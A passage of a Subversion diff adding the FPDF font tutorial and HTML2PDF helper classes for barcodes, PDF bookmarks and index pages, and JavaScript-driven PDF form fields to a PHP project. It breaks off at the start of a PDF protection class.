+<kbd>ttf2pt1 -a calligra.ttf calligra</kbd>
+<br>
+<br>
+which gives calligra.afm (and calligra.t1a that we can delete). Then we generate the definition
+file:
+<div class="source">
+<pre><code>&lt;?php
+<span class="kw">require(</span><span class="str">'font/makefont/makefont.php'</span><span class="kw">);
+
+</span>MakeFont<span class="kw">(</span><span class="str">'calligra.ttf'</span><span class="kw">,</span><span class="str">'calligra.afm'</span><span class="kw">);
+</span>?&gt;</code></pre>
+</div>
+The function call gives the following report:
+<br>
+<br>
+<b>Warning:</b> character Euro is missing<br>
+<b>Warning:</b> character Zcaron is missing<br>
+<b>Warning:</b> character zcaron is missing<br>
+<b>Warning:</b> character eth is missing<br>
+Font file compressed (calligra.z)<br>
+Font definition file generated (calligra.php)<br>
+<br>
+The euro character is not present in the font (it is too old). Three other characters are missing
+too, but we are not interested in them anyway.
+<br>
+We can now copy the two files to the font directory and write the script:
+<div class="source">
+<pre><code>&lt;?php
+<span class="kw">require(</span><span class="str">'fpdf.php'</span><span class="kw">);
+
+</span>$pdf<span class="kw">=new </span>FPDF<span class="kw">();
+</span>$pdf<span class="kw">-&gt;</span>AddFont<span class="kw">(</span><span class="str">'Calligrapher'</span><span class="kw">,</span><span class="str">''</span><span class="kw">,</span><span class="str">'calligra.php'</span><span class="kw">);
+</span>$pdf<span class="kw">-&gt;</span>AddPage<span class="kw">();
+</span>$pdf<span class="kw">-&gt;</span>SetFont<span class="kw">(</span><span class="str">'Calligrapher'</span><span class="kw">,</span><span class="str">''</span><span class="kw">,</span>35<span class="kw">);
+</span>$pdf<span class="kw">-&gt;</span>Cell<span class="kw">(</span>0<span class="kw">,</span>10<span class="kw">,</span><span class="str">'Enjoy new fonts with FPDF!'</span><span class="kw">);
+</span>$pdf<span class="kw">-&gt;</span>Output<span class="kw">();
+</span>?&gt;</code></pre>
+</div>
+<p class='demo'><a href='tuto7.php' target='_blank' class='demo'>[Demo]</a></p>
+<h2>About the euro symbol</h2>
+The euro character is not present in all encodings, and is not always placed at the same position:
+<table>
+<tr><th>Encoding</th><th>Position</th></tr>
+<tr class="alt0"><td>cp1250</td><td>128</td></tr>
+<tr class="alt1"><td>cp1251</td><td>136</td></tr>
+<tr class="alt0"><td>cp1252</td><td>128</td></tr>
+<tr class="alt1"><td>cp1253</td><td>128</td></tr>
+<tr class="alt0"><td>cp1254</td><td>128</td></tr>
+<tr class="alt1"><td>cp1255</td><td>128</td></tr>
+<tr class="alt0"><td>cp1257</td><td>128</td></tr>
+<tr class="alt1"><td>cp1258</td><td>128</td></tr>
+<tr class="alt0"><td>cp874</td><td>128</td></tr>
+<tr class="alt1"><td>ISO-8859-1</td><td>absent</td></tr>
+<tr class="alt0"><td>ISO-8859-2</td><td>absent</td></tr>
+<tr class="alt1"><td>ISO-8859-4</td><td>absent</td></tr>
+<tr class="alt0"><td>ISO-8859-5</td><td>absent</td></tr>
+<tr class="alt1"><td>ISO-8859-7</td><td>absent</td></tr>
+<tr class="alt0"><td>ISO-8859-9</td><td>absent</td></tr>
+<tr class="alt1"><td>ISO-8859-11</td><td>absent</td></tr>
+<tr class="alt0"><td>ISO-8859-15</td><td>164</td></tr>
+<tr class="alt1"><td>ISO-8859-16</td><td>164</td></tr>
+<tr class="alt0"><td>KOI8-R</td><td>absent</td></tr>
+<tr class="alt1"><td>KOI8-U</td><td>absent</td></tr>
+</table>
+ISO-8859-1 is widespread but does not include the euro sign. If you need it, the simplest thing
+to do is using cp1252 or ISO-8859-15 instead, which are nearly identical but contain the precious
+symbol.
+<br>
+As for ISO-8859-2, it is possible to use ISO-8859-16 instead, but it contains many differences.
+It is therefore simpler to patch the encoding to add the symbol to it, as explained above. The
+same is true for the other encodings.
+<h2>Font synthesis under Windows</h2>
+When a TrueType font is not available in a given style, Windows is able to synthesize it from the
+regular version. For instance, there is no Comic Sans MS Italic, but it can be built from Comic
+Sans MS Regular. This feature can be used in a PDF file, but unfortunately requires that the
+regular font be present in the system (you must not embed it). Here is how to do it:
+<ul>
+<li>Generate the definition file for the regular font without embedding (you may rename it to
+reflect the desired style)</li>
+<li>Open it and append to the variable <code>$name</code> a comma followed by the desired style
+(<code>Italic</code>, <code>Bold</code> or <code>BoldItalic</code>)</li>
+</ul>
+For instance, for the file comici.php:
+<br>
+<br>
+<code>$name='ComicSansMS,Italic';</code>
+<br>
+<br>
+It can then be used normally:
+<div class="source">
+<pre><code>$pdf<span class="kw">-&gt;</span>AddFont<span class="kw">(</span><span class="str">'Comic'</span><span class="kw">,</span><span class="str">'I'</span><span class="kw">,</span><span class="str">'comici.php'</span><span class="kw">);
+</span></code></pre>
+</div>
+<h2>Reducing the size of TrueType fonts</h2>
+Font files are often quite voluminous (more than 100, even 200KB); this is due to the fact that
+they contain the characters corresponding to many encodings. zlib compression reduces them but
+they remain fairly big. A technique exists to reduce them further. It consists in converting the
+font to the Type1 format with ttf2pt1 by specifying the encoding you are interested in; all other
+characters will be discarded.
+<br>
+For instance, the arial.ttf font shipped with Windows 98 is 267KB (it contains 1296 characters).
+After compression it gives 147. Let's convert it to Type1 by keeping only cp1250 characters:
+<br>
+<br>
+<kbd>ttf2pt1 -b -L cp1250.map c:\windows\fonts\arial.ttf arial</kbd>
+<br>
+<br>
+The .map files are located in the font/makefont/ directory of the package. The command produces
+arial.pfb and arial.afm. The arial.pfb file is only 35KB, and 30KB after compression.
+<br>
+<br>
+It is possible to go even further. If you are interested only by a subset of the encoding (you
+probably don't need all 217 characters), you can open the .map file and remove the lines you are
+not interested in. This will reduce the file size accordingly.
+</body>
+</html>
Index: /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/tutorial/tuto7.php
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/tutorial/tuto7.php	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/tutorial/tuto7.php	(revision 44)
@@ -0,0 +1,11 @@
+<?php
+define('FPDF_FONTPATH','./');
+require('../fpdf.php');
+
+$pdf=new FPDF();
+$pdf->AddFont('Calligrapher','','calligra.php');
+$pdf->AddPage();
+$pdf->SetFont('Calligrapher','',35);
+$pdf->Cell(0,10,'Enjoy new fonts with FPDF!');
+$pdf->Output();
+?>
Index: /trunk/elezioni/trunk/client/inc/hpdf/_mypdf/00_fpdf_codebar.class.php
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/_mypdf/00_fpdf_codebar.class.php	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/_mypdf/00_fpdf_codebar.class.php	(revision 44)
@@ -0,0 +1,238 @@
+<?php
+/*************************************************************************
+ * http://www.fpdf.org/en/script/script5.php
+ * 
+ * @author		Olivier
+ * 
+ * This script implements EAN13 and UPC-A barcodes (the second being a particular case of the first one). Bars are drawn directly in the PDF (no image is generated).
+ * EAN13(float x, float y, string barcode [, float h [, float w]])
+ * x: abscissa of barcode.
+ * y: ordinate of barcode.
+ * barcode: value of barcode.
+ * h: height of barcode. Default value: 16.
+ * w: width of a bar. Default value: 0.35.
+ * 
+ * UPC_A(float x, float y, string barcode [, float h [, float w]])
+ * 
+ * Same parameters.
+ * 
+ * An EAN13 barcode is made up of 13 digits, UPC-A of 12 (leading zeroes are added if necessary). The last digit is a check digit; if it's not supplied, it will be automatically computed. 
+ ************************************************************************/
+ 
+/*************************************************************************
+ * http://www.fpdf.org/en/script/script46.php
+ * 
+ * @author		The-eh
+ *
+ * This script implements Code 39 barcodes. A Code 39 barcode can encode a string with the following characters: digits (0 to 9), uppercase letters (A to Z) and 8 additional characters (- . space $ / + % *).
+ * Code39(float xpos, float ypos, string code [, float baseline [, float height]])
+ * xpos: abscissa of barcode
+ * ypos: ordinate of barcode
+ * code: value of barcode
+ * height: bar height
+ * baseline: corresponds to the width of a wide bar
+ ************************************************************************/
+
+
+if (!defined('__CLASS_FPDF_CODEBAR__'))
+{
+	define('__CLASS_FPDF_CODEBAR__', true);
+	
+	require_once(dirname(__FILE__).'/../_fpdf/fpdf.php');
+
+	class FPDF_Codebar extends FPDF
+	{
+		var $footer_param = array();
+		
+		function FPDF_Codebar($sens = 'P', $unit = 'mm', $format = 'A4')
+		{
+			$this->FPDF($sens, $unit, $format);
+		}
+		
+		function BARCODE_EAN13($x,$y,$barcode,$h=10,$w=.35)
+		{
+			return $this->Barcode($x,$y,$barcode,$h,$w,13);
+		}
+		
+		function BARCODE_UPC_A($x,$y,$barcode,$h=10,$w=.35)
+		{
+			return $this->Barcode($x,$y,$barcode,$h,$w,12);
+		}
+		
+		function GetCheckDigit($barcode)
+		{
+			//Compute the check digit
+			$sum=0;
+			for($i=1;$i<=11;$i+=2)
+				$sum+=3*$barcode{$i};
+			for($i=0;$i<=10;$i+=2)
+				$sum+=$barcode{$i};
+			$r=$sum%10;
+			if($r>0)
+				$r=10-$r;
+			return $r;
+		}
+		
+		function TestCheckDigit($barcode)
+		{
+			//Test validity of check digit
+			$sum=0;
+			for($i=1;$i<=11;$i+=2)
+				$sum+=3*$barcode{$i};
+			for($i=0;$i<=10;$i+=2)
+				$sum+=$barcode{$i};
+			return ($sum+$barcode{12})%10==0;
+		}
+		
+		function Barcode($x,$y,$barcode,$h,$w,$len)
+		{
+			//Padding
+			$barcode=str_pad($barcode,$len-1,'0',STR_PAD_LEFT);
+			if($len==12)
+				$barcode='0'.$barcode;
+			//Add or control the check digit
+			if(strlen($barcode)==12)
+				$barcode.=$this->GetCheckDigit($barcode);
+			elseif(!$this->TestCheckDigit($barcode))
+				$this->Error('Incorrect check digit');
+			//Convert digits to bars
+			$codes=array(
+				'A'=>array(
+					'0'=>'0001101','1'=>'0011001','2'=>'0010011','3'=>'0111101','4'=>'0100011',
+					'5'=>'0110001','6'=>'0101111','7'=>'0111011','8'=>'0110111','9'=>'0001011'),
+				'B'=>array(
+					'0'=>'0100111','1'=>'0110011','2'=>'0011011','3'=>'0100001','4'=>'0011101',
+					'5'=>'0111001','6'=>'0000101','7'=>'0010001','8'=>'0001001','9'=>'0010111'),
+				'C'=>array(
+					'0'=>'1110010','1'=>'1100110','2'=>'1101100','3'=>'1000010','4'=>'1011100',
+					'5'=>'1001110','6'=>'1010000','7'=>'1000100','8'=>'1001000','9'=>'1110100')
+				);
+			$parities=array(
+				'0'=>array('A','A','A','A','A','A'),
+				'1'=>array('A','A','B','A','B','B'),
+				'2'=>array('A','A','B','B','A','B'),
+				'3'=>array('A','A','B','B','B','A'),
+				'4'=>array('A','B','A','A','B','B'),
+				'5'=>array('A','B','B','A','A','B'),
+				'6'=>array('A','B','B','B','A','A'),
+				'7'=>array('A','B','A','B','A','B'),
+				'8'=>array('A','B','A','B','B','A'),
+				'9'=>array('A','B','B','A','B','A')
+				);
+			$code='101';
+			$p=$parities[$barcode{0}];
+			for($i=1;$i<=6;$i++)
+				$code.=$codes[$p[$i-1]][$barcode{$i}];
+			$code.='01010';
+			for($i=7;$i<=12;$i++)
+				$code.=$codes['C'][$barcode{$i}];
+			$code.='101';
+			//Draw bars
+			for($i=0;$i<strlen($code);$i++)
+			{
+				if($code{$i}=='1')
+					$this->Rect($x+$i*$w,$y,$w,$h,'F');
+			}
+			
+			$code_w = strlen($code)*$w;
+			$code_t = substr($barcode,-$len);
+			
+			$code_f = $code_w/strlen($code_t)*$this->k/0.60;
+			$code_h = $h+$code_f/$this->k;
+			
+			//Print text uder barcode
+			$this->SetFont('Arial','',$code_f);
+			$this->Text($x,$y+$h+0.90*$code_f/$this->k,$code_t);
+
+			return array($code_w, $code_h);
+		}
+		
+		function BARCODE_CODE39($xpos, $ypos, $code,$height=10, $baseline=0.5 )
+		{
+		
+			$wide = $baseline;
+			$narrow = $baseline / 3 ; 
+			$gap = $narrow;
+		
+			$barChar['0'] = 'nnnwwnwnn';
+			$barChar['1'] = 'wnnwnnnnw';
+			$barChar['2'] = 'nnwwnnnnw';
+			$barChar['3'] = 'wnwwnnnnn';
+			$barChar['4'] = 'nnnwwnnnw';
+			$barChar['5'] = 'wnnwwnnnn';
+			$barChar['6'] = 'nnwwwnnnn';
+			$barChar['7'] = 'nnnwnnwnw';
+			$barChar['8'] = 'wnnwnnwnn';
+			$barChar['9'] = 'nnwwnnwnn';
+			$barChar['A'] = 'wnnnnwnnw';
+			$barChar['B'] = 'nnwnnwnnw';
+			$barChar['C'] = 'wnwnnwnnn';
+			$barChar['D'] = 'nnnnwwnnw';
+			$barChar['E'] = 'wnnnwwnnn';
+			$barChar['F'] = 'nnwnwwnnn';
+			$barChar['G'] = 'nnnnnwwnw';
+			$barChar['H'] = 'wnnnnwwnn';
+			$barChar['I'] = 'nnwnnwwnn';
+			$barChar['J'] = 'nnnnwwwnn';
+			$barChar['K'] = 'wnnnnnnww';
+			$barChar['L'] = 'nnwnnnnww';
+			$barChar['M'] = 'wnwnnnnwn';
+			$barChar['N'] = 'nnnnwnnww';
+			$barChar['O'] = 'wnnnwnnwn'; 
+			$barChar['P'] = 'nnwnwnnwn';
+			$barChar['Q'] = 'nnnnnnwww';
+			$barChar['R'] = 'wnnnnnwwn';
+			$barChar['S'] = 'nnwnnnwwn';
+			$barChar['T'] = 'nnnnwnwwn';
+			$barChar['U'] = 'wwnnnnnnw';
+			$barChar['V'] = 'nwwnnnnnw';
+			$barChar['W'] = 'wwwnnnnnn';
+			$barChar['X'] = 'nwnnwnnnw';
+			$barChar['Y'] = 'wwnnwnnnn';
+			$barChar['Z'] = 'nwwnwnnnn';
+			$barChar['-'] = 'nwnnnnwnw';
+			$barChar['.'] = 'wwnnnnwnn';
+			$barChar[' '] = 'nwwnnnwnn';
+			$barChar['*'] = 'nwnnwnwnn';
+			$barChar['$'] = 'nwnwnwnnn';
+			$barChar['/'] = 'nwnwnnnwn';
+			$barChar['+'] = 'nwnnnwnwn';
+			$barChar['%'] = 'nnnwnwnwn';
+		
+			$xpos_dep = $xpos;
+			$code = '*'.strtoupper($code).'*';
+			for($i=0; $i<strlen($code); $i++){
+				$char = $code{$i};
+				if(!isset($barChar[$char])){
+					$this->Error('Invalid character in barcode: '.$char);
+				}
+				$seq = $barChar[$char];
+				for($bar=0; $bar<9; $bar++){
+					if($seq{$bar} == 'n'){
+						$lineWidth = $narrow;
+					}else{
+						$lineWidth = $wide;
+					}
+					if($bar % 2 == 0){
+						$this->Rect($xpos, $ypos, $lineWidth, $height, 'F');
+					}
+					$xpos += $lineWidth;
+				}
+				$xpos += $gap;
+			}
+			
+			$code_w = $xpos-$xpos_dep;
+			$code_t = $code;
+			
+			$code_f = $code_w/strlen($code_t)*$this->k/0.60/3;
+			$code_h = $height+$code_f/$this->k;
+			
+			//Print text uder barcode
+			$this->SetFont('Arial','',$code_f);
+			$this->Text($xpos_dep,$ypos+$height+0.90*$code_f/$this->k,$code_t);
+
+			return array($code_w, $code_h);
+		}
+	}
+}
+?>
Index: /trunk/elezioni/trunk/client/inc/hpdf/_mypdf/01_fpdf_bookmark.class.php
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/_mypdf/01_fpdf_bookmark.class.php	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/_mypdf/01_fpdf_bookmark.class.php	(revision 44)
@@ -0,0 +1,167 @@
+<?php
+/*************************************************************************
+ * http://www.fpdf.org/en/script/script1.php
+ * 
+ * @author		Olivier
+ * 
+ * This extension adds bookmark support. The method to add a bookmark is:
+ * 
+ * function Bookmark(string txt [, int level [, float y]])
+ * 
+ * txt: the bookmark title.
+ * level: the bookmark level (0 is top level, 1 is just below, and so on).
+ * y: the y position of the bookmark destination in the current page. -1 means the current position. Default value: 0.
+ * 
+ * The title must be encoded in ISO Latin-1.
+ ************************************************************************/
+/*************************************************************************
+ * http://www.fpdf.org/en/script/script13.php
+ * 
+ * @author		Min's
+ * 
+ * This class prints an index from the created bookmarks. 
+ ************************************************************************/
+ 
+if (!defined('__CLASS_FPDF_BOOKMARK__'))
+{
+	define('__CLASS_FPDF_BOOKMARK__', true);
+
+require_once(dirname(__FILE__).'/00_fpdf_codebar.class.php');
+
+	class FPDF_BookMark extends FPDF_Codebar
+	{
+		var $outlines=array();
+		var $OutlineRoot;
+		
+		function FPDF_BookMark($orientation='P',$unit='mm',$format='A4')
+		{
+			$this->FPDF_Codebar($orientation,$unit,$format);
+		
+		}
+		
+		function Bookmark($txt, $level=0, $y=0)
+		{
+			if($y==-1) $y=$this->GetY();
+			$this->outlines[]=array('t'=>$txt, 'l'=>$level, 'y'=>($this->h-$y)*$this->k, 'p'=>$this->PageNo());
+		}
+		
+		function _putbookmarks()
+		{
+			$nb=count($this->outlines);
+			if($nb==0) return;
+			$lru=array();
+			$level=0;
+			foreach($this->outlines as $i=>$o)
+			{
+				if($o['l']>0)
+				{
+					$parent=$lru[$o['l']-1];
+					//Set parent and last pointers
+					$this->outlines[$i]['parent']=$parent;
+					$this->outlines[$parent]['last']=$i;
+					if($o['l']>$level)
+					{
+						//Level increasing: set first pointer
+						$this->outlines[$parent]['first']=$i;
+					}
+				}
+				else
+					$this->outlines[$i]['parent']=$nb;
+					
+				if($o['l']<=$level and $i>0)
+				{
+					//Set prev and next pointers
+					$prev=$lru[$o['l']];
+					$this->outlines[$prev]['next']=$i;
+					$this->outlines[$i]['prev']=$prev;
+				}
+				$lru[$o['l']]=$i;
+				$level=$o['l'];
+			}
+			
+			//Outline items
+			$n=$this->n+1;
+			foreach($this->outlines as $i=>$o)
+			{
+				$this->_newobj();
+				$this->_out('<</Title '.$this->_textstring($o['t']));
+				$this->_out('/Parent '.($n+$o['parent']).' 0 R');
+				if(isset($o['prev']))
+				$this->_out('/Prev '.($n+$o['prev']).' 0 R');
+				if(isset($o['next']))
+				$this->_out('/Next '.($n+$o['next']).' 0 R');
+				if(isset($o['first']))
+				$this->_out('/First '.($n+$o['first']).' 0 R');
+				if(isset($o['last']))
+				$this->_out('/Last '.($n+$o['last']).' 0 R');
+				$this->_out(sprintf('/Dest [%d 0 R /XYZ 0 %.2F null]',1+2*$o['p'],$o['y']));
+				$this->_out('/Count 0>>');
+				$this->_out('endobj');
+			}
+			
+			//Outline root
+			$this->_newobj();
+			$this->OutlineRoot=$this->n;
+			$this->_out('<</Type /Outlines /First '.$n.' 0 R');
+			$this->_out('/Last '.($n+$lru[0]).' 0 R>>');
+			$this->_out('endobj');
+		}
+		
+		function _putresources()
+		{
+			parent::_putresources();
+			$this->_putbookmarks();
+		}
+		
+		function _putcatalog()
+		{
+			parent::_putcatalog();
+			if(count($this->outlines)>0)
+			{
+				$this->_out('/Outlines '.$this->OutlineRoot.' 0 R');
+				$this->_out('/PageMode /UseOutlines');
+			}
+		}
+		
+		function CreateIndex($titre = 'Index', $size1 = 20, $size2 = 15)
+		{
+			$this->Bookmark($titre, 0, -1);
+			
+			//Index title
+			$this->SetFontSize($size1);
+			$this->Cell(0,5,$titre,0,1,'C');
+			$this->SetFontSize($size2);
+			$this->Ln(10);
+			
+			$size=sizeof($this->outlines);
+			$PageCellSize=$this->GetStringWidth('p. '.$this->outlines[$size-1]['p'])+2;
+			for ($i=0;$i<$size;$i++)
+			{
+				//Offset
+				$level=$this->outlines[$i]['l'];
+				if($level>0) $this->Cell($level*8);
+				
+				//Caption
+				$str=$this->outlines[$i]['t'];
+				$strsize=$this->GetStringWidth($str);
+				$avail_size=$this->w-$this->lMargin-$this->rMargin-$PageCellSize-($level*8)-4;
+				while ($strsize>=$avail_size)
+				{
+					$str=substr($str,0,-1);
+					$strsize=$this->GetStringWidth($str);
+				}
+				$this->Cell($strsize+2,$this->FontSize+2,$str);
+			
+				//Filling dots
+				$w=$this->w-$this->lMargin-$this->rMargin-$PageCellSize-($level*8)-($strsize+2);
+				$nb=$w/$this->GetStringWidth('.');
+				$dots=str_repeat('.',$nb);
+				$this->Cell($w,$this->FontSize+2,$dots,0,0,'R');
+				
+				//Page number
+				$this->Cell($PageCellSize,$this->FontSize+2,'p. '.$this->outlines[$i]['p'],0,1,'R');
+			}
+		}
+	}
+}
+?>
Index: /trunk/elezioni/trunk/client/inc/hpdf/_mypdf/02_fpdf_formulaire.class.php
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/_mypdf/02_fpdf_formulaire.class.php	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/_mypdf/02_fpdf_formulaire.class.php	(revision 44)
@@ -0,0 +1,228 @@
+<?php
+/**
+ * Logiciel : HTML2PDF - classe FPDF_Formulaire
+ * 
+ * permet la gestion de champs de formulaire dans un PDF 
+ * Inspiré des sources de http://fpdf.org/fr/script/script36.php et http://fpdf.org/fr/script/script40.php
+ *
+ * @author		Laurent MINGUET <webmaster@spipu.net>
+ */
+
+if (!defined('__CLASS_FPDF_FORMULAIRE__'))
+{
+	define('__CLASS_FPDF_FORMULAIRE__', true);
+	
+	require_once(dirname(__FILE__).'/01_fpdf_bookmark.class.php');
+	
+	class FPDF_Formulaire extends FPDF_BookMark
+	{
+		var $javascript = '';	//javascript code
+		var $n_js;				//numéro de l'objet javascript
+		var $n_cata;			//numéro de l'objet catalogue
+		var $ur;				//
+		
+		function FPDF_Formulaire($orientation='P',$unit='mm',$format='A4')
+		{
+			$this->FPDF_BookMark($orientation,$unit,$format);
+			$this->PDFVersion='1.6';
+			
+			$this->ur = false;
+		}
+		
+		 function _putuserrights()
+		{
+			if (!$this->ur) return;
+			$this->_out('/Perms<<');
+			
+			$this->_out('/UR3<<');
+			$this->_out('/Reference[<<');
+			$this->_out('/Type /SigRef');
+			$this->_out('/TransformMethod /UR3');
+			$this->_out('/TransformParams<<');
+			$this->_out('/Type /TransformParams');
+			$this->_out('/Annots[ /Create /Delete /Modify /Copy /Import /Export ]');
+			$this->_out('/Document [ /FullSave ]');
+			$this->_out('/Form[ /Add /FillIn /Delete /SubmitStandalone ]');
+			$this->_out('/Signature[ /Modify ]');
+			$this->_out('/V /2.2');
+			$this->_out('>>');
+			$this->_out('>>]');
+			$this->_out('>>');
+			$this->_out('>>');
+		}
+		
+		function _putresources()
+		{
+		
+			parent::_putresources();
+			$this->_putjavascript();
+		}
+		
+		function _putcatalog()
+		{
+			$this->n_cata = $this->n;
+			
+			parent::_putcatalog();
+			
+			if (!empty($this->javascript)) $this->_out('/Names <</JavaScript '.($this->n_js).' 0 R>>');
+			$this->_putuserrights();
+		}
+
+		/*
+		* Create a javascript PDF string.
+		* @access protected
+		* @author Johannes Güntert, Nicola Asuni
+		*/
+		function _putjavascript()
+		{
+			if (empty($this->javascript)) return;
+			
+			// the following two lines are used to avoid form fields duplication after saving
+			if ($this->ur)
+			{
+				$js1 = "if(!this.getField('pdfoldsaved')) this.addField('pdfoldsaved','text',0, [0, 1, 0, 1]);";
+				$js2 = "getField('pdfoldsaved').value = 'saved';";
+			}
+			else
+			{
+				$js1 = '';
+				$js2 = '';	
+			}
+		
+			$this->_newobj();
+			$this->n_js = $this->n;
+			$this->_out('<<');
+			$this->_out('/Names [(EmbeddedJS) '.($this->n + 1).' 0 R ]');
+			$this->_out('>>');
+			$this->_out('endobj');
+			$this->_newobj();
+			$this->_out('<<');
+			$this->_out('/S /JavaScript');
+			$this->_out('/JS '.$this->_textstring($js1."\n".$this->javascript."\n".$js2));
+			$this->_out('>>');
+			$this->_out('endobj');
+		}
+		
+		/*
+		* Convert color to javascript color.
+		* @param string $color color name or #RRGGBB
+		* @access protected
+		* @author Denis Van Nuffelen, Nicola Asuni
+		*/
+		function _JScolor($color)
+		{
+			static $aColors = array('transparent', 'black', 'white', 'red', 'green', 'blue', 'cyan', 'magenta', 'yellow', 'dkGray', 'gray', 'ltGray');
+			if (substr($color,0,1) == '#')
+			{
+				return sprintf("['RGB',%.3f,%.3f,%.3f]", hexdec(substr($color,1,2))/255, hexdec(substr($color,3,2))/255, hexdec(substr($color,5,2))/255);
+			}
+			if (!in_array($color,$aColors))
+			{
+				$this->Error('Invalid color: '.$color);
+			}
+			
+			return 'color.'.$color;
+		}
+		
+		/*
+		* Adds a javascript form field.
+		* @param string $type field type
+		* @param string $name field name
+		* @param int $x horizontal position
+		* @param int $y vertical position
+		* @param int $w width
+		* @param int $h height
+		* @param array $prop array of properties. Possible values are (http://www.adobe.com/devnet/acrobat/pdfs/js_developer_guide.pdf): <ul><li>rect: Position and size of field on page.</li><li>borderStyle: Rectangle border appearance.</li><li>strokeColor: Color of bounding rectangle.</li><li>lineWidth: Width of the edge of the surrounding rectangle.</li><li>rotation: Rotation of field in 90-degree increments.</li><li>fillColor: Background color of field (gray, transparent, RGB, or CMYK).</li><li>userName: Short description of field that appears on mouse-over.</li><li>readonly: Whether the user may change the field contents.</li><li>doNotScroll: Whether text fields may scroll.</li><li>display: Whether visible or hidden on screen or in print.</li><li>textFont: Text font.</li><li>textColor: Text color.</li><li>textSize: Text size.</li><li>richText: Rich text.</li><li>richValue: Text.</li><li>comb: Text comb format.</li><li>multiline: Text multiline.</li><li>charLimit: Text limit to number of characters.</li><li>fileSelect: Text file selection format.</li><li>password: Text password format.</li><li>alignment: Text layout in text fields.</li><li>buttonAlignX: X alignment of icon on button face.</li><li>buttonAlignY: Y alignment of icon on button face.</li><li>buttonFitBounds: Relative scaling of an icon to fit inside a button face.</li><li>buttonScaleHow: Relative scaling of an icon to fit inside a button face.</li><li>buttonScaleWhen: Relative scaling of an icon to fit inside a button face.</li><li>highlight: Appearance of a button when pushed.</li><li>style: Glyph style for checkbox and radio buttons.</li><li>numItems: Number of items in a combo box or list box.</li><li>editable: Whether the user can type in a combo box.</li><li>multipleSelection: Whether multiple list box items may be selected.</li></ul>
+		* @access protected
+		* @author Denis Van Nuffelen, Nicola Asuni
+		*/
+		function _addfield($type, $name, $x, $y, $w, $h, $prop, $js_after = '')
+		{
+			if (!isset($prop['textSize']))		$prop['textSize']		= $this->FontSizePt;
+			if (!isset($prop['strokeColor']))	$prop['strokeColor']	= 'ltGray';
+			if (isset($prop['value'])) 			$prop['value']			= str_replace('"', '', $prop['value']);
+
+			$this->SetFillColor(240);
+			if ($w>0 && $h>0)
+			{
+				$d = 1/$this->k;
+				$r = 0.1;
+				$this->Rect($x+$d*0.5+$r, $y-$d*0.5+$r, $w-$d-2*$r, $h-$d-2*$r, 'F');
+			}
+			
+			// javascript inclus			
+			$this->ur = true;
+			
+			// the followind avoid fields duplication after saving the document
+			$this->javascript .= "if(this.getField('pdfoldsaved') && this.getField('pdfoldsaved').value != 'saved') {";
+			$this->javascript .= sprintf("f".$name."=this.addField('%s','%s',%d,[%.2f,%.2f,%.2f,%.2f]);", $name, $type, $this->PageNo()-1, $x*$this->k, ($this->h-$y)*$this->k+1, ($x+$w)*$this->k, ($this->h-$y-$h)*$this->k+1)."\n";
+			$this->javascript .= 'f'.$name.'.textSize='.$this->FontSizePt.";\n";
+			while (list($key, $val) = each($prop))
+			{
+				if (strcmp(substr($key, -5), 'Color') == 0)
+					$val = $this->_JScolor($val);
+				else
+					$val = '"'.$val.'"';
+				$this->javascript .= 'f'.$name.'.'.$key.'='.$val.";\n";
+			}
+			
+			$this->javascript .= '}';
+			$this->javascript.= "\n".$js_after;
+		}
+		
+		function IncludeJS($script)
+		{
+			$this->javascript .= $script;
+		}
+		
+		function form_InputHidden($name, $value)
+		{
+			$prop = array('value' => $value);
+			$js_after = '';
+			$this->_addfield('checkbox', $name, 0, 0, 0.1, 0.1, $prop, $js_after);
+		}
+		
+		function form_InputCheckBox($name, $x, $y, $w, $checked)
+		{
+			$prop = array();
+			$prop['value'] = ($checked ? 'Yes' : 'Off');
+			$js_after = '';
+			$this->_addfield('checkbox', $name, $x, $y, $w, $w, $prop, $js_after);
+		}
+		
+		function form_InputRadio($name, $x, $y, $w)
+		{
+			$prop = array();
+			$js_after = '';
+			$this->_addfield('radiobutton', $name, $x, $y, $w, $w, $prop, $js_after);
+		}
+		
+		function form_InputText($name, $x, $y, $w, $h, $prop)
+		{
+			$js_after = '';
+			$this->_addfield('text', $name, $x, $y, $w, $h, $prop, $js_after);
+		}
+		
+		function form_InputButton($name, $x, $y, $w, $h, $caption, $action, $prop)
+		{
+			if (!isset($prop['borderStyle']))	$prop['borderStyle']	= 'beveled';
+			if (!isset($prop['fillColor']))		$prop['fillColor']		= 'ltGray';
+			if (!isset($prop['strokeColor']))	$prop['strokeColor']	= 'black';
+
+			$js_after = 'f'.$name.".buttonSetCaption('".addslashes($caption)."');\n";
+			$js_after.= 'f'.$name.".setAction('MouseUp','".addslashes($action)."');\n";
+			$js_after.= 'f'.$name.".highlight='push';\n";
+			$js_after.= 'f'.$name.".print=false;\n";
+			$this->_addfield('button', $name, $x, $y, $w, $h, $prop, $js_after);
+		}
+
+		function form_Select($name, $x, $y, $w, $h, $values, $multiligne, $prop)
+		{
+			$type = ($multiligne ? 'listbox' : 'combobox');				
+			$s = ''; foreach ($values as $value) { $s .= ($s ? ',' : '')."'".addslashes($value)."'"; }
+			$js_after = 'f'.$name.'.setItems(['.$s."]);\n";
+			$this->_addfield($type, $name, $x, $y, $w, $h, $prop, $js_after);
+		}
+	}
+}
+?>
Index: /trunk/elezioni/trunk/client/inc/hpdf/_mypdf/99_fpdf_protection.class.php
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/_mypdf/99_fpdf_protection.class.php	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/_mypdf/99_fpdf_protection.class.php	(revision 44)
@@ -0,0 +1,229 @@
+<?php
+/*************************************************************************
+ * http://www.fpdf.org/fr/script/script37.php
+ * 
+ * @author		Klemen Vodopivec
+ * 
+ * Ce script permet de protéger le PDF, c'est-à-dire empêcher l'utilisateur de copier son contenu, de l'imprimer ou de le modifier.
+ * 
+ * SetProtection([array permissions [, string user_pass [, string owner_pass]]])
+ * 
+ * permissions : l'ensemble des permissions. Vide par défaut (seule la lecture est autorisée).
+ * user_pass : mot de passe utilisateur. Vide par défaut.
